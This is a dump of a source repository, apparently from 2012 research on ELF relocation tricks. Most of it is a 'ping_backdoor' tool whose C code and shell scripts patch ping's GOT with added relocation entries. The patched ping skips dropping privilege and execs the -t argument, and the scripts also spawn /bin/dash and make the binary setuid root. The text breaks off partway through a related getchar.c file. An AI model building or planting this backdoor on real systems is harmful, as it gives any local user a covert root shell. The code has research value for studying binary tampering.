| elfsh_Sym *sym; 30 | eresi_Addr addr; 31 | eresi_Addr index; 32 | } elf_bf_Sym; 33 | 34 | typedef struct { 35 | int lm_allocated; 36 | elfshobj_t *lm_f; 37 | char *lm_out_name; 38 | elfshsect_t *lm_reloc; 39 | elfshsect_t *lm_sym; 40 | elf_bf_Sym *lm_ifunc; 41 | elf_bf_Sym *lm_getchar; 42 | elf_bf_Sym *lm_putchar; 43 | elf_bf_Sym *lm_putcharextra; 44 | eresi_Addr lm_ifunc_addr; //address of machine code that returns zero 45 | eresi_Addr lm_l_addr; 46 | eresi_Addr lm_l_s; //address of own link map 47 | eresi_Addr lm_l_o; //address of partner's link map 48 | eresi_Addr lm_next_reloc; //next reloc entry to be filled in 49 | eresi_Addr lm_bss_index; //index of bss section's shdr TODO: I dont think we use this anymore 50 | 51 | } elf_bf_link_map_t; 52 | 53 | 54 | elfshsect_t *symtab_get_sym_shsect(elfshobj_t *f, char *name); 55 | void symtab_get_sym(elf_bf_link_map_t *l, eresi_Addr index, elf_bf_Sym *s); 56 | eresi_Addr symtab_get_sym_addr(elfshsect_t *sec, eresi_Addr index); 57 | void symtab_set_sym(elf_bf_Sym *sym, eresi_Addr size, eresi_Addr value, eresi_Addr type); 58 | eresi_Addr symtab_get_value_addr(elf_bf_Sym *sym); 59 | eresi_Addr symtab_get_link_addr(elf_bf_Sym *sym); 60 | eresi_Addr symtab_get_index(elf_bf_Sym *sym); 61 | eresi_Addr symtab_get_sym_addr_sym(elf_bf_Sym *sym); 62 | #endif //ifndef __SYMTAB_H 63 | -------------------------------------------------------------------------------- /ping_backdoor/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | 2 | # Copyright (c) 2012 Rebecca (bx) Shapiro 3 | 4 | # Permission is hereby granted, free of charge, to any person obtaining a copy 5 | # of this software and associated documentation files (the "Software"), to deal 6 | # in the Software without restriction, including without limitation the rights 7 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 8 | # copies of the Software, and to permit persons to whom the Software is 9 | # furnished to do so, subject to the following conditions: 10 | 11 | # The above copyright notice and this permission notice shall be included in all 12 | # copies or substantial portions of the Software. 13 | 14 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 15 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 17 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 18 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 19 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 20 | # SOFTWARE. 21 | 22 | 23 | include_directories(${elf-bf-tools_SOURCE_DIR}/libelf_bf) 24 | 25 | add_executable(ping_backdoor ping_backdoor.c) 26 | 27 | link_directories(/usr/local/lib) 28 | target_link_libraries(ping_backdoor ${ELFBF_LIBS}) 29 | -------------------------------------------------------------------------------- /ping_backdoor/README: -------------------------------------------------------------------------------- 1 | OVERVIEW 2 | This tool builds a backdoor into ping using only relocation entires to patch the 3 | GOT during runtime loading/linking. This backdoor will only work with 4 | eglibc-2.13 that is installed by default on Ubuntu 11.10, and the ping from 5 | ubuntu's inetutils. 6 | 7 | 8 | BUILD 9 | Make sure universe package repositories are enabled. 10 | Run setup.sh, it builds the correct version of ping for you. ping_backdoor 11 | assumes that this script has been sucessfully run/ping was sucessfully built. 12 | ping_backdoor makes a copy of this version of ping, adds relocation entries and 13 | symbols, and writes the new version of ping to the ping_backdoor directory. 14 | 15 | To build the backdoored ping, after building ping_backdoor, run 16 | build_backdoor.sh. It looks up the path of libc that ping appears to use and 17 | passes that information to ping_backdoor so that the backdoor gets setup 18 | correctly. 19 | 20 | RUN 21 | The backdoored version of ping only is triggered when ping is run with the -t 22 | argument. The backdoor with stop ping from dropping privledge and will 23 | exec the argument specified with the -t option. If ./ping -t backdoor.sh is 24 | called, ping will drop shell. calling 25 | 26 | > setuidify.sh ping 27 | 28 | will set the suid bit 29 | on ping and make root the owner so that ping can be run by any user. -------------------------------------------------------------------------------- /ping_backdoor/backdoor.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | # Copyright (c) 2012 Rebecca (bx) Shapiro 4 | 5 | # Permission is hereby granted, free of charge, to any person obtaining a copy 6 | # of this software and associated documentation files (the "Software"), to deal 7 | # in the Software without restriction, including without limitation the rights 8 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | # copies of the Software, and to permit persons to whom the Software is 10 | # furnished to do so, subject to the following conditions: 11 | 12 | # The above copyright notice and this permission notice shall be included in all 13 | # copies or substantial portions of the Software. 14 | 15 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | # SOFTWARE. 22 | 23 | /bin/dash 24 | -------------------------------------------------------------------------------- /ping_backdoor/build_backdoor.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | # Copyright (c) 2012 Rebecca (bx) Shapiro 4 | # Permission is hereby granted, free of charge, to any person obtaining a copy 5 | # of this software and associated documentation files (the "Software"), to deal 6 | # in the Software without restriction, including without limitation the rights 7 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 8 | # copies of the Software, and to permit persons to whom the Software is 9 | # furnished to do so, subject to the following conditions: 10 | # The above copyright notice and this permission notice shall be included in all 11 | # copies or substantial portions of the Software. 12 | 13 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 14 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 15 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 16 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 17 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 18 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 19 | # SOFTWARE. 20 | 21 | # this is a wrapper script to make it easy to compile the backdoor 22 | 23 | INPUT=inetutils/inetutils-1.8/ping/ping 24 | OUTPUT=ping 25 | LIBC=`ldd $INPUT | grep libc.so.6 | awk '{print $3}'` 26 | echo "running ./ping_backdoor $INPUT $OUTPUT $LIBC" 27 | ./ping_backdoor $INPUT $OUTPUT $LIBC -------------------------------------------------------------------------------- /ping_backdoor/ping_backdoor.c: -------------------------------------------------------------------------------- 1 | /* Copyright (c) 2012 Rebecca (bx) Shapiro 2 | 3 | Permission is hereby granted, free of charge, to any person obtaining a copy 4 | of this software and associated documentation files (the "Software"), to deal 5 | in the Software without restriction, including without limitation the rights 6 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 7 | copies of the Software, and to permit persons to whom the Software is 8 | furnished to do so, subject to the following conditions: 9 | 10 | The above copyright notice and this permission notice shall be included in all 11 | copies or substantial portions of the Software. 12 | 13 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 14 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 15 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 16 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 17 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 18 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 19 | SOFTWARE. 20 | */ 21 | #define _GNU_SOURCE /* See feature_test_macros(7) */ 22 | 23 | #include 24 | #include 25 | #include "elf_bf_utils.h" 26 | #include "reloc.h" 27 | #include "symtab.h" 28 | 29 | #define OUTPUT_FILE "ping" 30 | #define NUM_RELOC 9 31 | #define RET 0xc3 32 | 33 | // returns the location of a ret in the text segment 34 | eresi_Addr find_ret_loc(f) 35 | { 36 | // look at text segment, search for byte value c3 37 | elfshsect_t *text, *init, *plt; 38 | eresi_Addr offset; 39 | unsigned char *data; 40 | eresi_Addr sz, i; 41 | text = elfsh_get_section_by_name(f,".text", NULL, NULL, NULL); 42 | 43 | data = (char *) text->data; 44 | sz = elfsh_get_section_size(text->shdr); 45 | 46 | for (i = 0; i < sz; i++) { 47 | if (RET == data[i]) { 48 | return i + text->shdr->sh_addr; 49 | } 50 | } 51 | return -1; 52 | } 53 | 54 | elfsh_Sym * get_sym_from_relplt_ent(f, r) 55 | { 56 | elfshsect_t *pltrel, *symtab, *strtab; 57 | pltrel = elfsh_get_section_by_name(f,".rela.plt", NULL, NULL, NULL); 58 | 59 | // lookup symbol table 60 | symtab = elfsh_get_section_by_index(f, elfsh_get_section_link(pltrel->shdr), NULL, NULL); 61 | 62 | // lookup strtab 63 | strtab = elfsh_get_section_by_index(f, elfsh_get_section_link(symtab->shdr), NULL, NULL); 64 | 65 | // get symbol 66 | elfsh_Sym *table; 67 | table = (elfsh_Sym *) symtab->data; 68 | 69 | return elfsh_get_symbol_by_index(table, elfsh_get_relsym(r)); 70 | } 71 | char *get_symname_from_relplt_ent(f, r) 72 | { 73 | elfsh_Sym *sym; 74 | elfshsect_t *pltrel, *symtab, *strtab; 75 | pltrel = elfsh_get_section_by_name(f,".rela.plt", NULL, NULL, NULL); 76 | 77 | // lookup symbol table 78 | symtab = elfsh_get_section_by_index(f, elfsh_get_section_link(pltrel->shdr), NULL, NULL); 79 | 80 | // lookup strtab 81 | strtab = elfsh_get_section_by_index(f, elfsh_get_section_link(symtab->shdr), NULL, NULL); 82 | 83 | sym = get_sym_from_relplt_ent(f, r); 84 | eresi_Addr nameidx = sym->st_name; 85 | return (char *) (strtab->data + nameidx); 86 | } 87 | 88 | // we have to implemt this ourselves becasuse eresi's version asumes we have rel entries (not rela) 89 | elfsh_Rela *find_relplt_ent_by_name(elfshobj_t *f, char *name) 90 | { 91 | elfshsect_t *pltrel = elfsh_get_section_by_name(f,".rela.plt", NULL, NULL, NULL); 92 | // lookup num of relents in section 93 | eresi_Addr numrel = elfsh_get_section_size(pltrel->shdr)/sizeof(elfsh_Rela); 94 | elfsh_Rela *r, *table; 95 | int i; 96 | char *cmpname; 97 | table = (elfsh_Rela *) pltrel->data; 98 | for (i = 0; i < numrel; i++) { 99 | //look at each entry 100 | r = &(table[i]); 101 | cmpname = get_symname_from_relplt_ent(f, r); 102 | if(strcmp(name, cmpname) == 0){ 103 | return r; 104 | } 105 | } 106 | return NULL; 107 | } 108 | 109 | 110 | eresi_Addr get_execl_offset(char *libc) 111 | { 112 | elfshobj_t *f; 113 | elfsh_Rela *r; 114 | elfsh_Sym *s; 115 | int i; 116 | char *cmpname; 117 | f = elfutils_read_elf_file(libc); 118 | 119 | elfshsect_t *dynsym, *strtab; 120 | dynsym = elfsh_get_section_by_name(f,".dynsym", NULL, NULL, NULL); 121 | 122 | // lookup strtab 123 | strtab = elfsh_get_section_by_index(f, elfsh_get_section_link(dynsym->shdr), NULL, NULL); 124 | 125 | // get symbol 126 | elfsh_Sym *table; 127 | table = (elfsh_Sym *) dynsym->data; 128 | eresi_Addr numsym = elfsh_get_section_size(dynsym->shdr)/sizeof(elfsh_Sym); 129 | 130 | char *strs = strtab->data; 131 | 132 | for (i = 0; i < numsym; i++) { 133 | //look at each entry 134 | s = &(table[i]); 135 | cmpname = strs + s->st_name; 136 | if(strcmp("execl", cmpname) == 0){ 137 | return s->st_value; 138 | } 139 | } 140 | return 0; 141 | } 142 | 143 | int main(int argv, char *argc[]) 144 | { 145 | elfshsect_t *newrel, *dynsym, *dynrel, *bss, *newsym, *pltrel; 146 | char *reladyndata; 147 | elf_bf_link_map_t l; 148 | elf_bf_Sym got; 149 | eresi_Addr sz, ret; 150 | //elf_bf_Rela r[NUM_RELOC]; 151 | eresi_Addr i; 152 | char *input, *output, *libc; 153 | 154 | if (argv != 4) { 155 | fprintf(stderr, "revieved %d args, usage: %s \n", argv, argc[0]); 156 | exit(-1); 157 | } else { 158 | input = argc[1]; 159 | output = argc[2]; 160 | libc = argc[3]; 161 | printf("input: %s\noutput: %s\nlibc: %s\n", input, output, libc); 162 | } 163 | 164 | l.lm_f = elfutils_read_elf_file(input); 165 | 166 | // Read PLTGOT value from dynamic table 167 | elfsh_Dyn *dyn; 168 | eresi_Addr pltgot; 169 | dyn = elfsh_get_dynamic_entry_by_type(l.lm_f, DT_PLTGOT); 170 | pltgot = elfsh_get_dynentry_val(dyn); 171 | printf("pltgot: %x\n", pltgot); 172 | // find relent for strcasecmp 173 | elfsh_Rela *strcasecmp = NULL; 174 | strcasecmp = find_relplt_ent_by_name(l.lm_f, "strcasecmp"); 175 | printf ("reloffset: %x\n", elfsh_get_reloffset(strcasecmp)); 176 | 177 | 178 | // find relent for setuid 179 | elfsh_Rela *setuid = NULL; 180 | setuid = find_relplt_ent_by_name(l.lm_f, "setuid"); 181 | printf ("reloffset: %x\n", elfsh_get_reloffset(setuid)); 182 | 183 | //get current dynsym 184 | dynsym = elfsh_get_section_by_name(l.lm_f,".dynsym", NULL, NULL, NULL); 185 | sz = elfsh_get_section_size(dynsym->shdr); 186 | 187 | //make a copy of this dynsym table so it is in writable memory 188 | newsym = insert_symtab_sec(l.lm_f, sz/sizeof(Elf64_Sym), elfsh_get_section_link(dynsym->shdr)); 189 | elfsh_set_section_type(dynsym->shdr,ELFSH_SECTION_DYNSYM); 190 | memcpy(newsym->data, dynsym->data, sz); 191 | l.lm_sym = newsym; 192 | 193 | //fix dynamic table to use new sym table 194 | fixup_dynamic_sym(l.lm_f, elfsh_get_section_addr(newsym->shdr), elfsh_get_section_size(newsym->shdr)); 195 | 196 | 197 | 198 | // get a copy of the existing reloc table 199 | dynrel = elfsh_get_section_by_name(l.lm_f,".rela.dyn", NULL, NULL, NULL); 200 | sz = elfsh_get_section_size(dynrel->shdr); 201 | eresi_Addr nextrel = sz/sizeof(Elf64_Rela); 202 | printf("rel sz: %d, numrel %d\n", sz, nextrel); 203 | newrel = insert_reloc_sec(l.lm_f, nextrel + NUM_RELOC, newsym); 204 | l.lm_reloc = newrel; 205 | l.lm_allocated = 1; 206 | l.lm_next_reloc = nextrel; 207 | 208 | 209 | symtab_get_sym(&l, 0, &got); 210 | symtab_set_sym(&got, 8, pltgot + 8, STT_FUNC); //PLTGOT + 0x8 =0x610ff0 211 | 212 | // fix dynamic table to use new reloc section 213 | fixup_dynamic_rela(l.lm_f, elfsh_get_section_addr(newrel->shdr), elfsh_get_section_size(newrel->shdr)); 214 | 215 | // insert interesting relocation entries, copy over old entries 216 | memcpy(newrel->data, dynrel->data, sz); 217 | 218 | // find base address of libary 219 | set_next_reloc(&l, R_X86_64_COPY, got.index, symtab_get_value_addr(&got), 0); 220 | set_next_reloc(&l, R_X86_64_64, got.index, symtab_get_value_addr(&got), get_l_next(0)); //calculate l_next address location 221 | 222 | set_next_reloc(&l, R_X86_64_COPY, got.index, symtab_get_value_addr(&got), 0); 223 | set_next_reloc(&l, R_X86_64_64, got.index, symtab_get_value_addr(&got), get_l_next(0)); //calculate l_next address location 224 | 225 | set_next_reloc(&l, R_X86_64_COPY, got.index, symtab_get_value_addr(&got), 0); //get link_map addr 226 | set_next_reloc(&l, R_X86_64_COPY, got.index, symtab_get_value_addr(&got), 0); //get laddr 227 | 228 | printf("&execve: %x\n", get_execl_offset(libc)); 229 | 230 | ret = find_ret_loc(l.lm_f); // find a location of a ret instruction in ping's binary 231 | printf("Found a ret at %x\n", ret); 232 | set_next_reloc(&l, R_X86_64_64, got.index, symtab_get_value_addr(&got), get_execl_offset(libc));//adds offset of execl to libc base addr, stores in symbol's value 233 | 234 | set_next_reloc(&l, R_X86_64_64, got.index, elfsh_get_reloffset(strcasecmp), 0); //copies symbol value (base address of glibc+offset execl) into strcasecmp's got entry 235 | 236 | set_next_reloc(&l, R_X86_64_RELATIVE, got.index, elfsh_get_reloffset(setuid), ret); // retq, (so setuid isn't run), written into setuid's got entry 237 | 238 | elfutils_save_elf_file(l.lm_f, output); 239 | 240 | return 0; 241 | } 242 | -------------------------------------------------------------------------------- /ping_backdoor/setuidify.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Copyright (c) 2012 Rebecca (bx) Shapiro 4 | 5 | # Permission is hereby granted, free of charge, to any person obtaining a copy 6 | # of this software and associated documentation files (the "Software"), to deal 7 | # in the Software without restriction, including without limitation the rights 8 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | # copies of the Software, and to permit persons to whom the Software is 10 | # furnished to do so, subject to the following conditions: 11 | 12 | # The above copyright notice and this permission notice shall be included in all 13 | # copies or substantial portions of the Software. 14 | 15 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | # SOFTWARE. 22 | 23 | chown root $1 24 | chmod u+s $1 25 | chmod +rx $1 -------------------------------------------------------------------------------- /ping_backdoor/setup.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Copyright (c) 2012 Rebecca (bx) Shapiro 4 | 5 | # Permission is hereby granted, free of charge, to any person obtaining a copy 6 | # of this software and associated documentation files (the "Software"), to deal 7 | # in the Software without restriction, including without limitation the rights 8 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | # copies of the Software, and to permit persons to whom the Software is 10 | # furnished to do so, subject to the following conditions: 11 | 12 | # The above copyright notice and this permission notice shall be included in all 13 | # copies or substantial portions of the Software. 14 | 15 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | # SOFTWARE. 22 | 23 | 24 | # this is only guaranteed to work in ubuntu 11.10 25 | mkdir inetutils 26 | cd inetutils 27 | sudo apt-get build-dep inetutils 28 | apt-get source inetutils 29 | cd inetutils-1.8 30 | GLIBC=$PWD/../../../elf_bf_debug/eglibc/root 31 | LD=$GLIBC/lib/ld-linux-x86-64.so.2 32 | if [ -f $LD ] ; then 33 | CFLAGS="-g -Wl,-dynamic-linker=$LD -Wl,-R$GLIBC/lib/ -I$GLIBC/include -L$GLIBC/lib" ./configure --disable-servers 34 | else 35 | echo "WARNING: eglibc not built yet, ping_backdoor will not work properly. Look at ../elf_bf_debug/README for information on how to eglibc" 36 | ./configure 37 | fi 38 | 39 | make -j 8 40 | -------------------------------------------------------------------------------- /syscall/getchar/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | 2 | # Copyright (c) 2012 Rebecca (bx) Shapiro 3 | 4 | # Permission is hereby granted, free of charge, to any person obtaining a copy 5 | # of this software and associated documentation files (the "Software"), to deal 6 | # in the Software without restriction, including without limitation the rights 7 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 8 | # copies of the Software, and to permit persons to whom the Software is 9 | # furnished to do so, subject to the following conditions: 10 | 11 | # The above copyright notice and this permission notice shall be included in all 12 | # copies or substantial portions of the Software. 13 | 14 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 15 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 17 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 18 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 19 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 20 | # SOFTWARE. 21 | 22 | 23 | 24 | include_directories(${elf-bf-tools_SOURCE_DIR}/libelf_bf) 25 | add_executable(getchar getchar.c) 26 | 27 | 28 | link_directories(/usr/local/lib) 29 | target_link_libraries(getchar ${ELFBF_LIBS}) 30 | -------------------------------------------------------------------------------- /syscall/getchar/getchar.c: -------------------------------------------------------------------------------- 1 | /* Copyright (c) 2012 Rebecca (bx) Shapiro 2 | 3 | Permission is hereby granted, free of charge, to any person obtaining a copy 4 | of this software and associated documentation files (the "Software"), to deal 5 | in the Software without restriction, including without limitation the rights 6 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 7 | copies of the Software, and to permit persons to whom the Software is 8 | furnished to do so, subject to the following conditions: 9 | 10 | The above copyright notice and this permission notice shall be included in all 11 | copies or substantial portions of the Software. 12 | 13 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 14 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 15 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 16 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 17 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 18 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 19 | SOFTWARE. 20 | */ 21 | #define _GNU_SOURCE /* See feature_test_macros(7) */ 22 | 23 | #include 24 | #include 25 | #include "elf_bf_utils.h" 26 | #include "reloc.h" 27 | #include "symtab.h" 28 | #include 29 | #define NUM_RELOC 19 30 | #define RET 0xc3 31 | 32 | // returns the location of a ret in the text segment 33 | eresi_Addr find_ret_loc(f) 34 | { 35 | // look at text segment, search for byte value c3 36 | elfshsect_t *text, *init, *plt; 37 | eresi_Addr offset; 38 | unsigned char *data; 39 | eresi_Addr sz, i; 40 | text = elfsh_get_section_by_name(f,".text", NULL, NULL, NULL); 41 | 42 | data = (char *) text->data; 43 | sz = elfsh_get_section_size(text->shdr); 44 | 45 | for (i = 0; i < sz; i++) { 46 | if (RET == data[i]) { 47 | return i + text->shdr->sh_addr; 48 | } 49 | } 50 | return -1; 51 | } 52 | 53 | elfsh_Sym * get_sym_from_relplt_ent(f, r) 54 | { 55 | elfshsect_t *pltrel, *symtab, *strtab; 56 | pltrel = elfsh_get_section_by_name(f,".rela.plt", NULL, NULL, NULL); 57 | 58 | // lookup symbol table 59 | symtab = elfsh_get_section_by_index(f, elfsh_get_section_link(pltrel->shdr), NULL, NULL); 60 | 61 | // lookup strtab 62 | strtab = elfsh_get_section_by_index(f, elfsh_get_section_link(symtab->shdr), NULL, NULL); 63 | 64 | // get symbol 65 | elfsh_Sym *table; 66 | table = (elfsh_Sym *) symtab->data; 67 | 68 | return elfsh_get_symbol_by_index(table, elfsh_get_relsym(r)); 69 | } 70 | char *get_symname_from_relplt_ent(f, r) 71 | { 72 | elfsh_Sym *sym; 73 | elfshsect_t *pltrel, *symtab, *strtab; 74 | pltrel = elfsh_get_section_by_name(f,".rela.plt", NULL, NULL, NULL); 75 | 76 | // lookup symbol table 77 | symtab = elfsh_get_section_by_index(f, elfsh_get_section_link(pltrel->shdr), NULL, NULL); 78 | 79 | // lookup strtab 80 | strtab = elfsh_get_section_by_index(f, elfsh_get_section_link(symtab->shdr), NULL, NULL); 81 | 82 | sym = get_sym_from_relplt_ent(f, r); 83 | eresi_Addr nameidx = sym->st_name; 84 | return (char *) (strtab->data + nameidx); 85 | } 86 | 87 | // we have to implemt this ourselves becasuse eresi's version asumes we have rel entries (not rela) 88 | elfsh_Rela *find_relplt_ent_by_name(elfshobj_t *f, char *name) 89 | { 90 | elfshsect_t *pltrel = elfsh_get_section_by_name(f,".rela.plt", NULL, NULL, NULL); 91 | // lookup num of relents in section 92 | eresi_Addr numrel = elfsh_get_section_size(pltrel->shdr)/sizeof(elfsh_Rela); 93 | elfsh_Rela *r, *table; 94 | int i; 95 | char *cmpname; 96 | table = (elfsh_Rela *) pltrel->data; 97 | for (i = 0; i < numrel; i++) { 98 | //look at each entry 99 | r = &(table[i]); 100 | cmpname = get_symname_from_relplt_ent(f, r); 101 | if(strcmp(name, cmpname) == 0){ 102 | return r; 103 | } 104 | } 105 | return NULL; 106 | } 107 | 108 | 109 | eresi_Addr get_getchar_offset(char *libc) 110 | { 111 | elfshobj_t *f; 112 | elfsh_Rela *r; 113 | elfsh_Sym *s; 114 | int i; 115 | char *cmpname; 116 | f = elfutils_read_elf_file(libc); 117 | 118 | elfshsect_t *dynsym, *strtab; 119 | dynsym = elfsh_get_section_by_name(f,".dynsym", NULL, NULL, NULL); 120 | 121 | // lookup strtab 122 | strtab = elfsh_get_section_by_index(f, elfsh_get_section_link(dynsym->shdr), NULL, NULL); 123 | 124 | // get symbol 125 | elfsh_Sym *table; 126 | table = (elfsh_Sym *) dynsym->data; 127 | eresi_Addr numsym = elfsh_get_section_size(dynsym->shdr)/sizeof(elfsh_Sym); 128 | 129 | char *strs = strtab->data; 130 | 131 | for (i = 0; i < numsym; i++) { 132 | //look at each entry 133 | s = &(table[i]); 134 | cmpname = strs + s->st_name; 135 | if(strcmp("getchar", cmpname) == 0){ 136 | return s->st_value; 137 | } 138 | } 139 | return 0; 140 | } 141 | 142 | int main(int argv, char *argc[]) 143 | { 144 | elfshsect_t *newrel, *dynsym, *dynrel, *bss, *newsym, *pltrel; 145 | char *reladyndata; 146 | elf_bf_link_map_t l; 147 | elf_bf_Sym got; 148 | eresi_Addr sz, ret; 149 | //elf_bf_Rela r[NUM_RELOC]; 150 | eresi_Addr i; 151 | char *input, *output, *libc; 152 | 153 | if (argv != 4) { 154 | fprintf(stderr, "recieved %d args, usage: %s \n", argv, argc[0]); 155 | exit(-1); 156 | } else { 157 | input = argc[1]; 158 | output = argc[2]; 159 | libc = argc[3]; 160 | printf("input: %s\noutput: %s\nlibc: %s\n", input, output, libc); 161 | } 162 | 163 | l.lm_f = elfutils_read_elf_file(input); 164 | // Read PLTGOT value from dynamic table 165 | elfsh_Dyn *dyn; 166 | eresi_Addr pltgot; 167 | dyn = elfsh_get_dynamic_entry_by_type(l.lm_f, DT_PLTGOT); 168 | pltgot = elfsh_get_dynentry_val(dyn); 169 | printf("pltgot: %x\n", pltgot); 170 | // find relent for strcasecmp 171 | elfsh_Rela *exit = NULL; 172 | elf_bf_Rela first; 173 | 174 | elf_bf_Rela irel, exitr; 175 | eresi_Addr irel_addr, exitr_addr; 176 | //get current dynsym 177 | dynsym = elfsh_get_section_by_name(l.lm_f,".dynsym", NULL, NULL, NULL); 178 | sz = elfsh_get_section_size(dynsym->shdr); 179 | 180 | //make a copy of this dynsym table so it is in writable memory 181 | newsym = insert_symtab_sec(l.lm_f, sz/sizeof(Elf64_Sym), elfsh_get_section_link(dynsym->shdr)); 182 | elfsh_set_section_type(dynsym->shdr,ELFSH_SECTION_DYNSYM); 183 | memcpy(newsym->data, dynsym->data, sz); 184 | l.lm_sym = newsym; 185 | 186 | //fix dynamic table to use new sym table 187 | fixup_dynamic_sym(l.lm_f, elfsh_get_section_addr(newsym->shdr), elfsh_get_section_size(newsym->shdr)); 188 | 189 | // get a copy of the existing reloc table 190 | dynrel = elfsh_get_section_by_name(l.lm_f,".rela.dyn", NULL, NULL, NULL); 191 | sz = elfsh_get_section_size(dynrel->shdr); 192 | eresi_Addr nextrel = sz/sizeof(Elf64_Rela); 193 | printf("rel sz: %d, numrel %d\n", sz, nextrel); 194 | newrel = insert_reloc_sec(l.lm_f, nextrel + NUM_RELOC, newsym); 195 | l.lm_reloc = newrel; 196 | l.lm_allocated = 1; 197 | l.lm_next_reloc = nextrel; 198 | 199 | 200 | symtab_get_sym(&l, 0, &got); 201 | symtab_set_sym(&got, 8, pltgot + 8, STT_FUNC); //PLTGOT + 0x8 =0x610ff0 202 | 203 | // fix dynamic table to use new reloc section 204 | fixup_dynamic_rela(l.lm_f, elfsh_get_section_addr(newrel->shdr), elfsh_get_section_size(newrel->shdr)); 205 | 206 | // insert interesting relocation entries, copy over old entries 